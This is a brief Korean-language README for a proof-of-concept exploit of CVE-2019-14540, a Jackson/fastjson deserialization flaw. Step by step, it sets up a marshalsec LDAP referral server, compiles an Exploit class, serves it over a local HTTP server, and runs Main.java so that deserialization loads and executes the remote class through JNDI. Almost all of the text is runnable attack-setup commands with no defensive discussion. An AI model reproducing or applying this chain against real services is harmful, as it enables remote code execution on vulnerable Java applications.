CVE-2019-14540 Exploit

http://www.leadroyal.cn/?p=939

환경 제한: 이 데모는 jndi의 ldap 활용 방식을 사용하므로 낮은 버전(8u191 미만)의 jdk가 필요합니다.

1. marshalsec을 사용하여 로컬 1389 포트에 ldap 서비스를 생성하고 로컬 8000의 http 서비스를 가리킵니다

git clone https://github.com/mbechler/marshalsec.git
mvn package -DskipTests
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8000/#Exploit" 1389

2. remote_codebase에서 원격 로드용 코드를 컴파일합니다

cd remote_codebase
javac Exploit.java

3. remote_codebase에서 로컬 8000의 http 서비스를 시작합니다

cd remote_codebase
python -m SimpleHTTPServer

4. Main.java를 실행하고 jackson과 fastjson 역직렬화를 사용하여 취약점을 트리거합니다